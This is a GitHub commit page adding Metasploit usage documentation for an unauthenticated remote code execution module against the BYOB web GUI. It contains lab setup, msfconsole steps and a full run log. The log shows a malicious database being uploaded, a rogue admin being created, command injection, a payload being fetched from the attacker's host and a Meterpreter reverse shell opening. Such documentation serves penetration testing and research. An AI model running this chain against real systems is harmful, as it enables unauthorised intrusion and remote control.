Skip to content

Commit 9a245e6

Browse files
dledda-r7dledda-r7
authored
Land rapid7#19485, Module BYOB Unauthenticated RCE (CVE-2024-45256, CVE-2024-45257)
Land rapid7#19485, Module BYOB Unauthenticated RCE (CVE-2024-45256, CVE-2024-45257)
2 parents d32b771 + f881a0e commit 9a245e6

File tree

2 files changed

+566
-0
lines changed

2 files changed

+566
-0
lines changed

‎documentation/modules/exploit/unix/webapp/byob_unauth_rce.md‎

Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
## Vulnerable Application
2+
3+
The BYOB (Build Your Own Botnet) web GUI is vulnerable to two severe vulnerabilities:
4+
5+
- **CVE-2024-45256**: Unauthenticated arbitrary file write leading to
6+
privilege escalation by adding a new admin user in the SQLite database.
7+
- **CVE-2024-45257**: Authenticated command injection on the payload generation page.
8+
9+
As of version 2.1.7, these vulnerabilities remain **unpatched**.
10+
11+
### Discoverer:
12+
- **Chebuya**
13+
- Source:
14+
- [Blog Post](https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/)
15+
- [PoC and Exploit](https://github.com/chebuya/exploits/tree/main/BYOB-RCE)
16+
17+
### Install
18+
19+
#### Version 2.0 Setup
20+
21+
To install BYOB and test the vulnerabilities locally:
22+
23+
```bash
24+
git clone https://github.com/malwaredllc/byob.git
25+
cd byob/web-ui
26+
./startup.sh
27+
python3 run.py
28+
```
29+
30+
> **Note**: Avoid using Docker for this lab as BYOB itself uses Docker for building payloads.
31+
32+
These vulnerabilities were tested only from the host machine.
33+
34+
## Verification Steps
35+
36+
To reproduce the Remote Code Execution (RCE) exploit:
37+
38+
1. Start `msfconsole`.
39+
2. Do: `use exploit/unix/webapp/byob_unauth_rce`.
40+
3. Do: `set RHOSTS <ip>`.
41+
4. (Optional) Do: `set USERNAME <username>`.
42+
5. (Optional) Do: `set PASSWORD <password>`.
43+
6. Do: `set RPORT <port>`.
44+
7. Do: `set TARGETURI <path>`.
45+
8. Do: `set SRVPORT <port>`.
46+
9. Do: `set FETCH_SRVHOST <ip>`.
47+
10. Do: `run`.
48+
49+
The module will attempt to exploit the vulnerabilities and execute remote code.
50+
51+
## Options
52+
53+
No options
54+
55+
## Scenarios
56+
57+
### BYOB 2.0 - Unauthenticated Remote Code Execution
58+
59+
This example uses `cmd/linux/http/x64/meterpreter_reverse_tcp` to gain a reverse shell.
60+
61+
```
62+
msf6 exploit(unix/http/byob_unauth_rce) > options
63+
64+
Module options (exploit/unix/http/byob_unauth_rce):
65+
66+
Name Current Setting Required Description
67+
---- --------------- -------- -----------
68+
PASSWORD no Password for new admin
69+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
70+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
71+
RPORT 80 yes The target port (TCP)
72+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
73+
SRVPORT 6000 yes The local port to listen on.
74+
SSL false no Negotiate SSL/TLS for outgoing connections
75+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
76+
URIPATH no The URI to use for this exploit (default is random)
77+
USERNAME admin no Username for new admin
78+
VHOST no HTTP server virtual host
79+
80+
81+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
82+
83+
Name Current Setting Required Description
84+
---- --------------- -------- -----------
85+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
86+
FETCH_DELETE false yes Attempt to delete the binary after execution
87+
FETCH_FILENAME roTvDomWxW no Name to use on remote system when storing payload; cannot contain spaces or slashes
88+
FETCH_SRVHOST no Local IP to use for serving payload
89+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
90+
FETCH_URIPATH IuxQhs no Local URI to use for serving payload
91+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
92+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
93+
LPORT 4444 yes The listen port
94+
95+
96+
Exploit target:
97+
98+
Id Name
99+
-- ----
100+
0 Unix/Linux Command Shell
101+
102+
103+
104+
View the full module info with the info, or info -d command.
105+
106+
msf6 exploit(unix/http/byob_unauth_rce) > run http://192.168.1.36:5000
107+
[*] Exploit running as background job 21.
108+
[*] Exploit completed, but no session was created.
109+
msf6 exploit(unix/http/byob_unauth_rce) >
110+
[*] Started reverse TCP handler on 192.168.1.36:4444
111+
[*] Running automatic check ("set AutoCheck false" to disable)
112+
[+] The target is vulnerable.
113+
[*] Using URL: http://192.168.1.36:6000/xK9IWU8ZxIpHV
114+
[*] Payload is ready at /
115+
[*] Generating malicious SQLite database.
116+
[+] Database uploaded successfully to path: /proc/self/cwd/../../../../buildyourownbotnet/database.db
117+
[+] Database uploaded successfully to path: /proc/self/cwd/../../../../instance/database.db
118+
[+] Malicious database uploaded successfully.
119+
[*] Registering a new admin user: admin:vZNqftVlFpmp
120+
[+] Registered user !
121+
[*] Logging in with the new admin user.
122+
[+] Logged in successfully!
123+
[*] Injecting payload via command injection.
124+
[*] Received request at: / - Client Address: 192.168.1.36
125+
[*] Sending response to 192.168.1.36 for /
126+
[*] Sending stage (3045380 bytes) to 192.168.1.36
127+
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 192.168.1.36:52382) at 2024-09-21 03:46:21 +0200
128+
129+
msf6 exploit(unix/http/byob_unauth_rce) > sessions 9
130+
[*] Starting interaction with 9...
131+
132+
meterpreter > sysinfo
133+
Computer : 192.168.1.36
134+
OS : LinuxMint 21.3 (Linux 5.15.0-121-generic)
135+
Architecture : x64
136+
BuildTuple : x86_64-linux-musl
137+
Meterpreter : x64/linux
138+
meterpreter >
139+
```
140+
141+
In this scenario, the payload is injected into the vulnerable
142+
`/api/payload/generate` endpoint, leading to command execution
143+
on the target server.
144+
The reverse shell connects back to Metasploit, providing remote access.

0 commit comments

Comments
 (0)